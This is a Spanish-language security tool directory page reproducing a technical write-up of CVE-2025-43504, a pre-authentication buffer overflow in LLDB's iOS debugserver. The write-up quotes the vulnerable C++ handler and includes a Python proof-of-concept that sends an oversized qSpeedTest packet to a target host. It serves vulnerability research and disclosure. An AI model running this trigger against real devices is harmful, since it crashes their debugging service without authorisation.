Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-43504 — # Análisis técnico en profundidad de CVE-2025-43504, un desbordamiento de búfer global remoto previo a la autenticación en debugserver de LLDB para iOS, con código PoC y análisis de explotación. | Kitploit
Herramientas/GitHubGitHub/calysteon/cve-2025-43504
Seguridad iOSAnálisis de VulnerabilidadesExplotaciónDepuradoresPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

# Análisis técnico en profundidad de CVE-2025-43504, un desbordamiento de búfer global remoto previo a la autenticación en debugserver de LLDB para iOS, con código PoC y análisis de explotación.

Ver Repositorio
17hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Cuando los /bin buenos se vuelven malos: Un desbordamiento remoto de preautenticación en el debugserver de LLDB


Introducción

De niño, siempre disfrutaba rebuscar en los contenedores de DVD de mi Walmart local. Notaba que muchas de las mismas películas quedaban encima, pero si realmente cavabas, encontrabas títulos más interesantes y de nicho.

Cuando un programa desborda un búfer, básicamente estás metiendo la mano en su caja de ofertas. Dependiendo de lo lejos que alcances, los DVD —o, en este caso, las estructuras sobrescritas en memoria— pueden cambiar.

El /bin de oferta de hoy es CVE-2025-43504: un desbordamiento global de búfer remoto de preautenticación que encontré en el debugserver de LLDB.

¿Cómo llegamos hasta aquí?

Durante el desarrollo de aplicaciones, los desarrolladores a menudo necesitan depurar su app en un dispositivo iOS físico. Para lograrlo, Xcode monta una Developer Disk Image en el iPhone de destino y luego se empareja con él.

Una vez emparejado, el host macOS puede comunicarse con el cliente iOS usando el debugserver instalado en el cliente. Ahora, cualquier cliente que pueda establecer una sesión GDB-remote con el debugserver del dispositivo puede alcanzar el manejador qSpeedTest y desbordar el búfer vulnerable.

Echemos un vistazo a la página de la versión de seguridad de Xcode 26.1 para entender mejor cómo clasificó Apple el CVE-2025-43504:

CVE-2025-43504

Debido a las mitigaciones de software modernas, Apple considera que los desbordamientos de búfer son principalmente un problema de denegación de servicio más que una primitiva de corrupción. Como exploraremos hoy, esto es en general cierto, ya que un atacante necesitará superar varios obstáculos y probablemente combinar este problema con otro bug para lograr ejecución de código arbitrario.

Un pequeño paso para el pwn, un gran salto para el pwnkind

Si quieres experimentar con una versión anterior al parche de debugserver, usa el siguiente commit o cualquier commit anterior a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

Vas a necesitar un depurador más grande

Antes del parche en RNBRemote.cpp, cualquier usuario remoto que pudiera conectarse al debugserver de un dispositivo iOS podía enviar un paquete qSpeedTest de preautenticación a RNBRemote::HandlePacket_qSpeedTest y corromper estructuras adyacentes en el segmento de datos global de debugserver.

Sin embargo, hay una advertencia importante: solo controlamos la longitud de la corrupción. El contenido del payload está fijado a una secuencia de caracteres 'a'. Si bien los estudiantes pueden disfrutar de las calificaciones consistentemente altas, la utilidad práctica de este desbordamiento está muy limitada por el hecho de que no podemos controlar los bytes reales que se escriben, solo hasta dónde llega la inundación de 'a'.

Ahora, echemos un vistazo bajo el capó de RNBRemote::HandlePacket_qSpeedTest para ver exactamente qué está sucediendo:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

La función de RNBRemote::HandlePacket_qSpeedTest() es procesar los paquetes entrantes qSpeedTest:response_size:<hex>; sin requerir autenticación de un usuario remoto que pueda comunicarse con el binario debugserver del dispositivo iOS.

Sin embargo, una vez que un usuario remoto puede enviar un paquete qSpeedTest:response_size:<hex>; a debugserver, no se realizan comprobaciones de autenticación dentro de debugserver antes de procesar el response_size proporcionado por el usuario. Por lo tanto, cualquier usuario que pueda comunicarse con un dispositivo iOS que tenga montada una Developer Disk Image puede desbordar debugserver mediante un paquete qSpeedTest:response_size:<hex>;.

Solo sigue nadando, nadando, nadando

Ahora que hemos llegado a la función vulnerable RNBRemote::HandlePacket_qSpeedTest(), examinemos exactamente cómo ocurre el desbordamiento. Primero, el tamaño <hex> proporcionado por el usuario en el paquete qSpeedTest:response_size:<hex>; se extrae y se almacena en la variable response_size:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

Si el análisis tiene éxito y el siguiente carácter es un punto y coma, se inicializa un búfer estático local a la función de 4 MiB + 16 bytes g_data y se rellena con la cabecera ASCII "data:":

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Oops, lo hice otra vez

Juntando todo, memset llena entonces el búfer estático de 4 MiB + 16 bytes g_data con 'a' usando el valor response_size controlado por el usuario como el número de 'a' a usar.

  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Por lo tanto, siempre que un cliente LLDB remoto envía un paquete qSpeedTest:response_size:<hex>; con un response_size mayor que el búfer de 4 MiB + 16 bytes, ocurre un desbordamiento de búfer y corrompe variables globales adyacentes almacenadas en el segmento de datos global (.bss) de debugserver.

Cuando los bins buenos se vuelven malos

Ahora que entendemos la arquitectura detrás del desbordamiento, profundicemos en la mecánica real de la vulnerabilidad. Para empezar, usemos el siguiente programa en Python para explorar las primitivas de corrupción obtenidas a través del desbordamiento de g_data:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass
Descargar herramienta